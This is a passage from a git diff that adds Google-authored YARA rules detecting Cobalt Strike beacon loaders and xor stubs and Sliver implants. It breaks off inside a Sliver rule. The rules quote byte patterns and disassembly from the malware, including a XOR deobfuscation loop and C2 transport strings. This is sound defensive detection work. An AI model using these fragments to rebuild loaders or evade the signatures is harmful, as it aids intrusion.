+	     in the cobaltstrike.jar files. For each stub found, sort them by byte count (size). Then for all entries in the 
+	     same size category, compare them nibble by nibble. Any mismatched nibbles get 0'd. After all stubs have been
+	     compared to each other thereby creating a mask, any 0 nibbles are turned to ? wildcards. The results are seen below */
+    $stub52 = {fc e8 ?? ?? ?? ?? [1-32] eb 27 5? 8b ??    83 c? ?4 8b ??    31 ?? 83 c? ?4 5? 8b ??    31 ?? 89 ??    31 ?? 83 c? ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb ea 5? ff e? e8 d4 ff ff ff}
+    $stub56 = {fc e8 ?? ?? ?? ?? [1-32] eb 2b 5d 8b ?? ?? 83 c5 ?4 8b ?? ?? 31 ?? 83 c5 ?4 55 8b ?? ?? 31 ?? 89 ?? ?? 31 ?? 83 c5 ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e8 5? ff e? e8 d? ff ff ff}
+
+  condition:
+    any of them
+}
+
+
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Xor_Bin__64bit_v3_12_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resource/xor64.bin signature for version 3.12 through 4.x"
+		hash =  "01dba8783768093b9a34a1ea2a20f72f29fd9f43183f3719873df5827a04b744"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "5bb465ee-3bbd-5bfe-8b63-1f243de217bc"
+	strings:
+	  /* The method for making this signatures consists of extracting each stub from the various resources/xor64.bin files
+	     in the cobaltstrike.jar files. For each stub found, sort them by byte count (size). Then for all entries in the 
+	     same size category, compare them nibble by nibble. Any mismatched nibbles get 0'd. After all stubs have been
+	     compared to each other thereby creating a mask, any 0 nibbles are turned to ? wildcards. The results are seen below */
+
+    $stub58 = {fc e8 ?? ?? ?? ?? [1-32] eb 33 5? 8b ?? 00 4? 83 ?? ?4 8b ?? 00 31 ?? 4? 83 ?? ?4 5? 8b ?? 00 31 ?? 89 ?? 00 31 ?? 4? 83 ?? ?4 83 ?? ?4 31 ?? 39 ?? 74 ?2 eb e7 5? fc 4? 83 ?? f0 ff}
+    $stub59 = {fc e8 ?? ?? ?? ?? [1-32] eb 2e 5? 8b ??    48 83 c? ?4 8b ??    31 ?? 48 83 c? ?4 5? 8b ??    31 ?? 89 ??    31 ?? 48 83 c? ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e9 5?    48 83 ec ?8 ff e? e8 cd ff ff ff}
+    $stub63 = {fc e8 ?? ?? ?? ?? [1-32] eb 32 5d 8b ?? ?? 48 83 c5 ?4 8b ?? ?? 31 ?? 48 83 c5 ?4 55 8b ?? ?? 31 ?? 89 ?? ?? 31 ?? 48 83 c5 ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e7 5?    48 83 ec ?8 ff e? e8 c9 ff ff ff}
+  
+  condition:
+    any of them
+}
+ /*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Sleeve_BeaconLoader_HA_x86_o_v4_3_v4_4_v4_5_and_v4_6
+{
+  meta:
+    description = "Cobalt Strike's sleeve/BeaconLoader.HA.x86.o (HeapAlloc) Versions 4.3 through at least 4.6"
+    hash =  "8e4a1862aa3693f0e9011ade23ad3ba036c76ae8ccfb6585dc19ceb101507dcd"
+    author = "gssincla@google.com"
+    reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+    date = "2022-11-18"
+   
+    id = "0ee3fa6f-367c-596f-a3bc-3bcfa61b97aa"
+  strings:
+    /*
+      C6 45 F0 48 mov     [ebp+var_10], 48h ; 'H'
+      C6 45 F1 65 mov     [ebp+var_F], 65h ; 'e'
+      C6 45 F2 61 mov     [ebp+var_E], 61h ; 'a'
+      C6 45 F3 70 mov     [ebp+var_D], 70h ; 'p'
+      C6 45 F4 41 mov     [ebp+var_C], 41h ; 'A'
+      C6 45 F5 6C mov     [ebp+var_B], 6Ch ; 'l'
+      C6 45 F6 6C mov     [ebp+var_A], 6Ch ; 'l'
+      C6 45 F7 6F mov     [ebp+var_9], 6Fh ; 'o'
+      C6 45 F8 63 mov     [ebp+var_8], 63h ; 'c'
+      C6 45 F9 00 mov     [ebp+var_7], 0
+    */
+
+    $core_sig = {
+      C6 45 F0 48
+      C6 45 F1 65
+      C6 45 F2 61
+      C6 45 F3 70
+      C6 45 F4 41
+      C6 45 F5 6C
+      C6 45 F6 6C
+      C6 45 F7 6F
+      C6 45 F8 63
+      C6 45 F9 00
+    }
+
+    // These strings can narrow down the specific version
+    //$ver_43 = { 9B 2C 3E 60 }         // Version 4.3
+    //$ver_44_45_46 = { 55 F8 86 5F }   // Versions 4.4, 4.5, and 4.6
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Sleeve_BeaconLoader_MVF_x86_o_v4_3_v4_4_v4_5_and_v4_6
+{
+  meta:
+    description = "Cobalt Strike's sleeve/BeaconLoader.MVF.x86.o (MapViewOfFile) Versions 4.3 through at least 4.6"
+    hash =  "cded3791caffbb921e2afa2de4c04546067c3148c187780066e8757e67841b44"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "3f7c0553-989e-53e7-87a9-3fa1c47f4b62"
+  strings:
+    /*
+      C6 45 EC 4D mov     [ebp+var_14], 4Dh ; 'M'
+      C6 45 ED 61 mov     [ebp+var_13], 61h ; 'a'
+      C6 45 EE 70 mov     [ebp+var_12], 70h ; 'p'
+      C6 45 EF 56 mov     [ebp+var_11], 56h ; 'V'
+      C6 45 F0 69 mov     [ebp+var_10], 69h ; 'i'
+      C6 45 F1 65 mov     [ebp+var_F], 65h ; 'e'
+      C6 45 F2 77 mov     [ebp+var_E], 77h ; 'w'
+      C6 45 F3 4F mov     [ebp+var_D], 4Fh ; 'O'
+      C6 45 F4 66 mov     [ebp+var_C], 66h ; 'f'
+      C6 45 F5 46 mov     [ebp+var_B], 46h ; 'F'
+      C6 45 F6 69 mov     [ebp+var_A], 69h ; 'i'
+      C6 45 F7 6C mov     [ebp+var_9], 6Ch ; 'l'
+      C6 45 F8 65 mov     [ebp+var_8], 65h ; 'e'
+      C6 45 F9 00 mov     [ebp+var_7], 0
+    */
+
+    $core_sig = {
+      C6 45 EC 4D
+      C6 45 ED 61
+      C6 45 EE 70
+      C6 45 EF 56
+      C6 45 F0 69
+      C6 45 F1 65
+      C6 45 F2 77
+      C6 45 F3 4F
+      C6 45 F4 66
+      C6 45 F5 46
+      C6 45 F6 69
+      C6 45 F7 6C
+      C6 45 F8 65
+      C6 45 F9 00
+    }
+
+    // These strings can narrow down the specific version
+    //$ver_43 = { 9C 2C 3E 60 }         // Version 4.3
+    //$ver_44_45_46 = { 55 F8 86 5F }   // Versions 4.4, 4.5, and 4.6
+    
+  condition:
+    all of them
+}
+
+
+rule CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6
+{
+  meta:
+    description = "Cobalt Strike's sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6"
+    hash =  "94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "5f89c4be-f4c5-54d3-b923-d125de53902f"
+  strings:
+    /*
+      C6 45 B0 56 mov     [ebp+var_50], 56h ; 'V'
+      C6 45 B1 69 mov     [ebp+var_50+1], 69h ; 'i'
+      C6 45 B2 72 mov     [ebp+var_50+2], 72h ; 'r'
+      C6 45 B3 74 mov     [ebp+var_50+3], 74h ; 't'
+      C6 45 B4 75 mov     [ebp+var_50+4], 75h ; 'u'
+      C6 45 B5 61 mov     [ebp+var_50+5], 61h ; 'a'
+      C6 45 B6 6C mov     [ebp+var_50+6], 6Ch ; 'l'
+      C6 45 B7 41 mov     [ebp+var_50+7], 41h ; 'A'
+      C6 45 B8 6C mov     [ebp+var_50+8], 6Ch ; 'l'
+      C6 45 B9 6C mov     [ebp+var_50+9], 6Ch ; 'l'
+      C6 45 BA 6F mov     [ebp+var_50+0Ah], 6Fh ; 'o'
+      C6 45 BB 63 mov     [ebp+var_50+0Bh], 63h ; 'c'
+      C6 45 BC 00 mov     [ebp+var_50+0Ch], 0
+    */
+
+    $core_sig = {
+      C6 45 B0 56
+      C6 45 B1 69
+      C6 45 B2 72
+      C6 45 B3 74
+      C6 45 B4 75
+      C6 45 B5 61
+      C6 45 B6 6C
+      C6 45 B7 41
+      C6 45 B8 6C
+      C6 45 B9 6C
+      C6 45 BA 6F
+      C6 45 BB 63
+      C6 45 BC 00
+    }
+
+    /*
+      8B 4D FC    mov     ecx, [ebp+var_4]
+      83 C1 01    add     ecx, 1
+      89 4D FC    mov     [ebp+var_4], ecx
+      8B 55 FC    mov     edx, [ebp+var_4]
+      3B 55 0C    cmp     edx, [ebp+arg_4]
+      73 19       jnb     short loc_231
+      0F B6 45 10 movzx   eax, [ebp+arg_8]
+      8B 4D 08    mov     ecx, [ebp+arg_0]
+      03 4D FC    add     ecx, [ebp+var_4]
+      0F BE 11    movsx   edx, byte ptr [ecx]
+      33 D0       xor     edx, eax
+      8B 45 08    mov     eax, [ebp+arg_0]
+      03 45 FC    add     eax, [ebp+var_4]
+      88 10       mov     [eax], dl
+      EB D6       jmp     short loc_207
+    */
+
+    $deobfuscator = {
+      8B 4D FC
+      83 C1 01
+      89 4D FC
+      8B 55 FC
+      3B 55 0C
+      73 19
+      0F B6 45 10
+      8B 4D 08
+      03 4D FC
+      0F BE 11
+      33 D0
+      8B 45 08
+      03 45 FC
+      88 10
+      EB D6
+    }
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Sleeve_BeaconLoader_x86_o_v4_3_v4_4_v4_5_and_v4_6
+{
+  meta:
+    description = "Cobalt Strike's sleeve/BeaconLoader.x86.o Versions 4.3 through at least 4.6"
+    hash =  "94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "32a47966-f3bb-52c3-a977-82a1b09ddf2c"
+  strings:
+    /*
+      C6 45 B0 56 mov     [ebp+var_50], 56h ; 'V'
+      C6 45 B1 69 mov     [ebp+var_50+1], 69h ; 'i'
+      C6 45 B2 72 mov     [ebp+var_50+2], 72h ; 'r'
+      C6 45 B3 74 mov     [ebp+var_50+3], 74h ; 't'
+      C6 45 B4 75 mov     [ebp+var_50+4], 75h ; 'u'
+      C6 45 B5 61 mov     [ebp+var_50+5], 61h ; 'a'
+      C6 45 B6 6C mov     [ebp+var_50+6], 6Ch ; 'l'
+      C6 45 B7 41 mov     [ebp+var_50+7], 41h ; 'A'
+      C6 45 B8 6C mov     [ebp+var_50+8], 6Ch ; 'l'
+      C6 45 B9 6C mov     [ebp+var_50+9], 6Ch ; 'l'
+      C6 45 BA 6F mov     [ebp+var_50+0Ah], 6Fh ; 'o'
+      C6 45 BB 63 mov     [ebp+var_50+0Bh], 63h ; 'c'
+      C6 45 BC 00 mov     [ebp+var_50+0Ch], 0
+    */
+
+    $core_sig = {
+      C6 45 B0 56
+      C6 45 B1 69
+      C6 45 B2 72
+      C6 45 B3 74
+      C6 45 B4 75
+      C6 45 B5 61
+      C6 45 B6 6C
+      C6 45 B7 41
+      C6 45 B8 6C
+      C6 45 B9 6C
+      C6 45 BA 6F
+      C6 45 BB 63
+      C6 45 BC 00
+    }
+
+    /*
+      8B 4D FC    mov     ecx, [ebp+var_4]
+      83 C1 01    add     ecx, 1
+      89 4D FC    mov     [ebp+var_4], ecx
+      8B 55 FC    mov     edx, [ebp+var_4]
+      3B 55 0C    cmp     edx, [ebp+arg_4]
+      73 19       jnb     short loc_231
+      0F B6 45 10 movzx   eax, [ebp+arg_8]
+      8B 4D 08    mov     ecx, [ebp+arg_0]
+      03 4D FC    add     ecx, [ebp+var_4]
+      0F BE 11    movsx   edx, byte ptr [ecx]
+      33 D0       xor     edx, eax
+      8B 45 08    mov     eax, [ebp+arg_0]
+      03 45 FC    add     eax, [ebp+var_4]
+      88 10       mov     [eax], dl
+      EB D6       jmp     short loc_207
+    */
+
+    $deobfuscator = {
+      8B 4D FC
+      83 C1 01
+      89 4D FC
+      8B 55 FC
+      3B 55 0C
+      73 19
+      0F B6 45 10
+      8B 4D 08
+      03 4D FC
+      0F BE 11
+      33 D0
+      8B 45 08
+      03 45 FC
+      88 10
+      EB D6
+    }
+    
+  condition:
+    $core_sig and not $deobfuscator
+}
+
+
+// 64-bit BeaconLoaders
+
+rule CobaltStrike_Sleeve_BeaconLoader_HA_x64_o_v4_3_v4_4_v4_5_and_v4_6
+{
+  meta:
+    description = "Cobalt Strike's sleeve/BeaconLoader.HA.x64.o (HeapAlloc) Versions 4.3 through at least 4.6"
+    hash =  "d64f10d5a486f0f2215774e8ab56087f32bef19ac666e96c5627c70d345a354d"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "9b16ff13-2d8e-51dc-9f99-6c45eff76feb"
+  strings:
+    /*
+      C6 44 24 38 48 mov     [rsp+78h+var_40], 48h ; 'H'
+      C6 44 24 39 65 mov     [rsp+78h+var_3F], 65h ; 'e'
+      C6 44 24 3A 61 mov     [rsp+78h+var_3E], 61h ; 'a'
+      C6 44 24 3B 70 mov     [rsp+78h+var_3D], 70h ; 'p'
+      C6 44 24 3C 41 mov     [rsp+78h+var_3C], 41h ; 'A'
+      C6 44 24 3D 6C mov     [rsp+78h+var_3B], 6Ch ; 'l'
+      C6 44 24 3E 6C mov     [rsp+78h+var_3A], 6Ch ; 'l'
+      C6 44 24 3F 6F mov     [rsp+78h+var_39], 6Fh ; 'o'
+      C6 44 24 40 63 mov     [rsp+78h+var_38], 63h ; 'c'
+      C6 44 24 41 00 mov     [rsp+78h+var_37], 0
+    */
+
+    $core_sig = {
+      C6 44 24 38 48
+      C6 44 24 39 65
+      C6 44 24 3A 61
+      C6 44 24 3B 70
+      C6 44 24 3C 41
+      C6 44 24 3D 6C
+      C6 44 24 3E 6C
+      C6 44 24 3F 6F
+      C6 44 24 40 63
+      C6 44 24 41 00
+    }
+
+    // These strings can narrow down the specific version
+    //$ver_43 = { 96 2C 3E 60 }         // Version 4.3
+    //$ver_44_45_46 = { D1 56 86 5F }   // Versions 4.4, 4.5, and 4.6
+    
+  condition:
+    all of them
+}
+
+
+rule CobaltStrike_Sleeve_BeaconLoader_MVF_x64_o_v4_3_v4_4_v4_5_and_v4_6
+{
+  meta:
+    description = "Cobalt Strike's sleeve/BeaconLoader.MVF.x64.o (MapViewOfFile) Versions 4.3 through at least 4.6"
+    hash =  "9d5b6ccd0d468da389657309b2dc325851720390f9a5f3d3187aff7d2cd36594"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "38e063db-3d76-5a94-812a-945fcf46a232"
+  strings:
+    /*
+      C6 44 24 58 4D mov     [rsp+98h+var_40], 4Dh ; 'M'
+      C6 44 24 59 61 mov     [rsp+98h+var_3F], 61h ; 'a'
+      C6 44 24 5A 70 mov     [rsp+98h+var_3E], 70h ; 'p'
+      C6 44 24 5B 56 mov     [rsp+98h+var_3D], 56h ; 'V'
+      C6 44 24 5C 69 mov     [rsp+98h+var_3C], 69h ; 'i'
+      C6 44 24 5D 65 mov     [rsp+98h+var_3B], 65h ; 'e'
+      C6 44 24 5E 77 mov     [rsp+98h+var_3A], 77h ; 'w'
+      C6 44 24 5F 4F mov     [rsp+98h+var_39], 4Fh ; 'O'
+      C6 44 24 60 66 mov     [rsp+98h+var_38], 66h ; 'f'
+      C6 44 24 61 46 mov     [rsp+98h+var_37], 46h ; 'F'
+      C6 44 24 62 69 mov     [rsp+98h+var_36], 69h ; 'i'
+      C6 44 24 63 6C mov     [rsp+98h+var_35], 6Ch ; 'l'
+      C6 44 24 64 65 mov     [rsp+98h+var_34], 65h ; 'e'
+    */
+
+    $core_sig = {
+      C6 44 24 58 4D
+      C6 44 24 59 61
+      C6 44 24 5A 70
+      C6 44 24 5B 56
+      C6 44 24 5C 69
+      C6 44 24 5D 65
+      C6 44 24 5E 77
+      C6 44 24 5F 4F
+      C6 44 24 60 66
+      C6 44 24 61 46
+      C6 44 24 62 69
+      C6 44 24 63 6C
+      C6 44 24 64 65
+    }
+
+    // These strings can narrow down the specific version
+    //$ver_43 = { 96 2C 3E 60 }         // Version 4.3
+    //$ver_44_45_46 = { D2 57 86 5F }   // Versions 4.4, 4.5, and 4.6
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Sleeve_BeaconLoader_VA_x64_o_v4_3_v4_4_v4_5_and_v4_6
+{
+  meta:
+    description = "Cobalt Strike's sleeve/BeaconLoader.VA.x64.o (VirtualAlloc) Versions 4.3 through at least 4.6"
+    hash =  "ac090a0707aa5ccd2c645b523bd23a25999990cf6895fce3bfa3b025e3e8a1c9"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "8ca04f82-a8a8-5162-8b0c-8a7bce678a85"
+  strings:
+    /*
+      C6 44 24 48 56 mov     [rsp+88h+var_40], 56h ; 'V'
+      C6 44 24 49 69 mov     [rsp+88h+var_40+1], 69h ; 'i'
+      C6 44 24 4A 72 mov     [rsp+88h+var_40+2], 72h ; 'r'
+      C6 44 24 4B 74 mov     [rsp+88h+var_40+3], 74h ; 't'
+      C6 44 24 4C 75 mov     [rsp+88h+var_40+4], 75h ; 'u'
+      C6 44 24 4D 61 mov     [rsp+88h+var_40+5], 61h ; 'a'
+      C6 44 24 4E 6C mov     [rsp+88h+var_40+6], 6Ch ; 'l'
+      C6 44 24 4F 41 mov     [rsp+88h+var_40+7], 41h ; 'A'
+      C6 44 24 50 6C mov     [rsp+88h+var_40+8], 6Ch ; 'l'
+      C6 44 24 51 6C mov     [rsp+88h+var_40+9], 6Ch ; 'l'
+      C6 44 24 52 6F mov     [rsp+88h+var_40+0Ah], 6Fh ; 'o'
+      C6 44 24 53 63 mov     [rsp+88h+var_40+0Bh], 63h ; 'c'
+      C6 44 24 54 00 mov     [rsp+88h+var_40+0Ch], 0
+    */
+
+    $core_sig = {
+      C6 44 24 48 56
+      C6 44 24 49 69
+      C6 44 24 4A 72
+      C6 44 24 4B 74
+      C6 44 24 4C 75
+      C6 44 24 4D 61
+      C6 44 24 4E 6C
+      C6 44 24 4F 41
+      C6 44 24 50 6C
+      C6 44 24 51 6C
+      C6 44 24 52 6F
+      C6 44 24 53 63
+      C6 44 24 54 00
+    }
+
+
+    /*
+      8B 04 24       mov     eax, [rsp+18h+var_18]
+      FF C0          inc     eax
+      89 04 24       mov     [rsp+18h+var_18], eax
+      8B 44 24 28    mov     eax, [rsp+18h+arg_8]
+      39 04 24       cmp     [rsp+18h+var_18], eax
+      73 20          jnb     short loc_2E7
+      8B 04 24       mov     eax, [rsp+18h+var_18]
+      0F B6 4C 24 30 movzx   ecx, [rsp+18h+arg_10]
+      48 8B 54 24 20 mov     rdx, [rsp+18h+arg_0]
+      0F BE 04 02    movsx   eax, byte ptr [rdx+rax]
+      33 C1          xor     eax, ecx
+      8B 0C 24       mov     ecx, [rsp+18h+var_18]
+      48 8B 54 24 20 mov     rdx, [rsp+18h+arg_0]
+      88 04 0A       mov     [rdx+rcx], al
+    */
+
+    $deobfuscator = {
+      8B 04 24
+      FF C0
+      89 04 24
+      8B 44 24 28
+      39 04 24
+      73 20
+      8B 04 24
+      0F B6 4C 24 30
+      48 8B 54 24 20
+      0F BE 04 02
+      33 C1
+      8B 0C 24
+      48 8B 54 24 20
+      88 04 0A
+    }
+
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Sleeve_BeaconLoader_x64_o_v4_3_v4_4_v4_5_and_v4_6
+{
+  meta:
+    description = "Cobalt Strike's sleeve/BeaconLoader.x64.o (Base) Versions 4.3 through at least 4.6"
+    hash =  "ac090a0707aa5ccd2c645b523bd23a25999990cf6895fce3bfa3b025e3e8a1c9"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "07f751e4-f001-5b95-b229-31fbaa867cea"
+  strings:
+    /*
+      33 C0                      xor     eax, eax
+      83 F8 01                   cmp     eax, 1
+      74 63                      jz      short loc_378
+      48 8B 44 24 20             mov     rax, [rsp+38h+var_18]
+      0F B7 00                   movzx   eax, word ptr [rax]
+      3D 4D 5A 00 00             cmp     eax, 5A4Dh
+      75 45                      jnz     short loc_369
+      48 8B 44 24 20             mov     rax, [rsp+38h+var_18]
+      48 63 40 3C                movsxd  rax, dword ptr [rax+3Ch]
+      48 89 44 24 28             mov     [rsp+38h+var_10], rax
+      48 83 7C 24 28 40          cmp     [rsp+38h+var_10], 40h ; '@'
+      72 2F                      jb      short loc_369
+      48 81 7C 24 28 00 04 00 00 cmp     [rsp+38h+var_10], 400h
+      73 24                      jnb     short loc_369
+      48 8B 44 24 20             mov     rax, [rsp+38h+var_18]
+      48 8B 4C 24 28             mov     rcx, [rsp+38h+var_10]
+      48 03 C8                   add     rcx, rax
+      48 8B C1                   mov     rax, rcx
+      48 89 44 24 28             mov     [rsp+38h+var_10], rax
+      48 8B 44 24 28             mov     rax, [rsp+38h+var_10]
+      81 38 50 45 00 00          cmp     dword ptr [rax], 4550h
+      75 02                      jnz     short loc_369
+    */
+
+    $core_sig = {
+      33 C0
+      83 F8 01
+      74 63
+      48 8B 44 24 20
+      0F B7 00
+      3D 4D 5A 00 00
+      75 45
+      48 8B 44 24 20
+      48 63 40 3C
+      48 89 44 24 28
+      48 83 7C 24 28 40
+      72 2F
+      48 81 7C 24 28 00 04 00 00
+      73 24
+      48 8B 44 24 20
+      48 8B 4C 24 28
+      48 03 C8
+      48 8B C1
+      48 89 44 24 28
+      48 8B 44 24 28
+      81 38 50 45 00 00
+      75 02
+    }
+
+    /*
+      8B 04 24       mov     eax, [rsp+18h+var_18]
+      FF C0          inc     eax
+      89 04 24       mov     [rsp+18h+var_18], eax
+      8B 44 24 28    mov     eax, [rsp+18h+arg_8]
+      39 04 24       cmp     [rsp+18h+var_18], eax
+      73 20          jnb     short loc_2E7
+      8B 04 24       mov     eax, [rsp+18h+var_18]
+      0F B6 4C 24 30 movzx   ecx, [rsp+18h+arg_10]
+      48 8B 54 24 20 mov     rdx, [rsp+18h+arg_0]
+      0F BE 04 02    movsx   eax, byte ptr [rdx+rax]
+      33 C1          xor     eax, ecx
+      8B 0C 24       mov     ecx, [rsp+18h+var_18]
+      48 8B 54 24 20 mov     rdx, [rsp+18h+arg_0]
+      88 04 0A       mov     [rdx+rcx], al
+    */
+
+    $deobfuscator = {
+      8B 04 24
+      FF C0
+      89 04 24
+      8B 44 24 28
+      39 04 24
+      73 20
+      8B 04 24
+      0F B6 4C 24 30
+      48 8B 54 24 20
+      0F BE 04 02
+      33 C1
+      8B 0C 24
+      48 8B 54 24 20
+      88 04 0A
+    }
+
+    
+  condition:
+    $core_sig and not $deobfuscator
+}
diff --git a/yara-Neo23x0/gen_gcti_sliver.yar b/yara-Neo23x0/gen_gcti_sliver.yar
new file mode 100644
index 0000000..d950359
--- /dev/null
+++ b/yara-Neo23x0/gen_gcti_sliver.yar
@@ -0,0 +1,171 @@
+/* 
+	SOURCE: https://github.com/chronicle/GCTI
+	
+	Generated with:
+	cat ./GCTI/YARA/CobaltStrike/* >> ./signature-base/yara/gen_gcti_cobaltstrike.yar
+*/
+
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule Sliver_Implant_32bit
+{
+  meta:
+    description = "Sliver 32-bit implant (with and without --debug flag at compile)"
+    hash =  "911f4106350871ddb1396410d36f2d2eadac1166397e28a553b28678543a9357"
+    author = "gssincla@google.com"
+    reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+    date = "2022-11-18"
+
+    id = "6bc4d7d1-64cf-5920-8f07-54a8a7a94f26"
+  strings:
+    // We look for the specific switch/case statement case values.
+
+    // case "tcppivot":
+    /*
+      81 ?? 74 63 70 70     cmp     dword ptr [ecx], 70706374h
+      .
+      .
+      .
+      81 ?? 04 69 76 6F 74  cmp     dword ptr [ecx+4], 746F7669h
+    */
+    $s_tcppivot = { 81 ?? 74 63 70 70 [2-20] 81 ?? 04 69 76 6F 74  }
+
+    // case "wg":
+    /*
+      66 81 ?? 77 67 cmp     word ptr [eax], 6777h      // "gw"
+    */
+    $s_wg = { 66 81 ?? 77 67 }
+
+    // case "dns":
+    /*
+      66 81 ?? 64 6E cmp     word ptr [eax], 6E64h    // "nd"
+      .
+      .
+      .
+      80 ?? 02 73    cmp     byte ptr [eax+2], 73h ; 's'
+    */
+    $s_dns = { 66 81 ?? 64 6E [2-20] 80 ?? 02 73 }
+
+    // case "http":
+    /*
+      81 ?? 68 74 74 70  cmp     dword ptr [eax], 70747468h     // "ptth"
+     */
+    $s_http = { 81 ?? 68 74 74 70 }
+
+    // case "https":
+    /*
+      81 ?? 68 74 74 70  cmp     dword ptr [ecx], 70747468h     // "ptth"
+      .
+      .
+      .
+      80 ?? 04 73        cmp     byte ptr [ecx+4], 73h ; 's'
+    */
+    $s_https = { 81 ?? 68 74 74 70 [2-20] 80 ?? 04 73 }
+
+    // case "mtls":       NOTE: this one can be missing due to compilate time config
+    /*
+      81 ?? 6D 74 6C 73  cmp     dword ptr [eax], 736C746Dh     // "sltm"
+    */
+    $s_mtls = { 81 ?? 6D 74 6C 73 }
+
+    $fp1 = "cloudfoundry" ascii fullword
+  condition:
+    4 of ($s*) and not 1 of ($fp*)
+}/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule Sliver_Implant_64bit
+{
+  meta:
+    description = "Sliver 64-bit implant (with and without --debug flag at compile)"
+    hash =  "2d1c9de42942a16c88a042f307f0ace215cdc67241432e1152080870fe95ea87"
+    author = "gssincla@google.com"
+    reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+    date = "2022-11-18"
+
+    id = "b84db933-0e11-5871-821d-43697c015665"
+  strings:
+    // We look for the specific switch/case statement case values.
+
+    // case "tcppivot":
+    /*
+      48 ?? 74 63 70 70 69 76 6F 74 mov     rcx, 746F766970706374h
+    */
+    $s_tcppivot = { 48 ?? 74 63 70 70 69 76 6F 74 }
+
+
+    // case "namedpipe":
+    /*
+      48 ?? 6E 61 6D 65 64 70 69 70 mov     rsi, 70697064656D616Eh      // "pipdeman"
+      .
+      .
+      .
+      80 ?? 08 65 cmp     byte ptr [rdx+8], 65h ; 'e'
+
+    */
+    $s_namedpipe = { 48 ?? 6E 61 6D 65 64 70 69 70 [2-32] 80 ?? 08 65 }
+
+    // case "https":
+    /*
+      81 3A 68 74 74 70 cmp     dword ptr [rdx], 70747468h          // "ptth"
+      .
+      .
+      .
+      80 7A 04 73       cmp     byte ptr [rdx+4], 73h ; 's'
+    */
+    $s_https = { 81 ?? 68 74 74 70 [2-32] 80 ?? 04 73 }
+
+    // case "wg":
+    /*
+      66 81 3A 77 67 cmp     word ptr [rdx], 6777h      // "gw"
+    */
+    $s_wg = {66 81 ?? 77 67}
+
+
+    // case "dns":
+    /*
+      66 81 3A 64 6E cmp     word ptr [rdx], 6E64h     // "nd"
+      .
+      .
+      .
